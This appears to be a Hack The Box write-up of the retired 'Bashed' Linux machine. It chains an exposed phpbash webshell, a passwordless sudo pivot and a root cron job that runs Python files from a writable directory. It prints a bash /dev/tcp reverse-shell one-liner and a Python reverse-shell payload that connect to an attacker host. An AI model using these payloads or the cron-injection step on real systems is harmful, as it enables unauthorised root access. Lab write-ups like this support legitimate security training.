~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / bashed.md

bashed

Linux · Easy · released 2017-12-09 · retired 2018-05-04

Summary

This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.

Bashed is one of the early-era HTB Linux Easies whose lesson is “directory enumeration plus a one-step sudo plus a writable cron equals root in three moves”. The attack surface is intentionally tiny — only tcp/80 is exposed — and the entire chain is misconfiguration, not memory corruption: a forgotten development tool (phpbash) is reachable at /dev/phpbash.php and exposes a PHP-eval webshell that runs as www-data; sudoers lets www-data run any command as the scriptmanager user with no password; scriptmanager owns /scripts/, which root traverses once a minute via cron and runs every *.py file it finds. Three independent admin oversights line up to make the chain trivial.

The conceptual point of the box is configuration triage: the version banners are blameless (Apache 2.4.18, OpenSSH not even exposed), so finding the bug requires noticing what is there but shouldn’t be — a /dev/ directory listing, a sudo entry that lets a webserver pivot to a non-system account, and a cron job that pulls scripts from a non-root-owned directory. Each of those individually would already be a finding in a real engagement; the box just stacks all three.

Source attribution

Reconstruction is grounded in the following public sources. I have not personally rooted this box; the chain below paraphrases them.

Recon

Full TCP nmap returns a single open port: tcp/80 with Apache. Nothing else — no SSH, no FTP, no SMB. That alone shapes the box: the entire chain has to start from HTTP.

nmap -sC -sV -p- --min-rate=2000 -oN nmap/full.txt <TARGET>
80/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))

Apache 2.4.18 is the stock package on Ubuntu 16.04. There is no usable preauth RCE in 2.4.18 itself; the version banner is a dead end and the “recon” energy needs to go into web content rather than into version matching. That is a useful pattern to internalize for HTB Easies in general: when the banner is the only fingerprint and the banner is clean, the bug lives at the application layer, not the service layer.

Web enumeration — directory discovery

Browsing the site reveals a single static landing page describing “phpbash”, a self-contained PHP webshell. The page itself is just documentation; there is no live shell linked from it. The interesting move is to enumerate paths the documentation doesn’t link to.

gobuster dir -u http://<TARGET>/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

Among the hits, two stand out:

/dev    (Status: 301)   → /dev/
/uploads (Status: 301)

Visiting /dev/ returns an open directory listing — the developer left Options +Indexes (or never disabled the default) on a path that contains the development build of phpbash. The directory listing shows two files: phpbash.min.php and phpbash.php. Either one is a fully-functional webshell.

The educational beat here is that nothing about this is a bug in Apache or in PHP — it is a configuration slip (“we shipped the dev directory to prod and forgot to disable indexes”) combined with a deployment slip (“our dev tool authenticates by URL secrecy, which is no authentication”). A real-world finding in an engagement would phrase it as “exposed development tooling on production server, no authentication” — not as a CVE.

Foothold — /dev/phpbash.php

Navigating to /dev/phpbash.php loads a black terminal-styled page with a JavaScript-driven prompt. Each command typed into it is delivered to the server as a request parameter, executed via PHP’s shell_exec, and the output rendered back inline. There is no authentication.

www-data@bashed:/var/www/html/dev$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The webshell is functional but quirky — it doesn’t preserve a TTY, loses interactive programs, and times out on long-running commands. For convenience the standard move is to upgrade to a reverse shell on the attacker side:

# attacker
nc -lvnp 4444

In the phpbash prompt, fire any of the standard one-liners — bash -c 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1' is the cleanest if /dev/tcp is available, otherwise python -c "import pty;pty.spawn('/bin/bash')" works against the local Python install.

user.txt lives at /home/arrexel/user.txt and is world-readable; the user flag is reachable directly from the www-data shell. This is unusual — most HTB boxes gate the user flag behind a separate account — but on Bashed the user flag is just there. The lateral move from www-data to scriptmanager is required for root, not for user.

User pivot — sudo -u scriptmanager

sudo -l from the www-data shell discloses an explicit sudoers entry:

www-data@bashed:~$ sudo -l
User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

That is a complete pivot in one command:

www-data@bashed:~$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:~$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

The point of the pivot is access to /scripts/, a directory owned by scriptmanager:scriptmanager and writable only by that user. Listing it shows a couple of innocuous Python files and one curious artifact: test.txt, last modified within the last minute. A quick sequence of ls -la /scripts/ calls a few seconds apart shows test.txt’s mtime ticking forward — which means something is running the scripts in this directory periodically. The attacker doesn’t see the cron table directly, but the behavior is the fingerprint.

Privilege escalation — writable cron-driven scripts

Cron’s job (running as root, every minute) iterates over every *.py in /scripts/ and runs each through python:

* * * * * cd /scripts; for f in *.py; do python "$f"; done

Because scriptmanager can write into /scripts/, dropping a new .py file there gets it executed by root within the next 60 seconds. A minimal payload:

# /scripts/.x.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<ATTACKER>", 4445))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
# attacker
nc -lvnp 4445

Within one minute, a connect-back arrives running as root:

sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.3# cat /root/root.txt

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗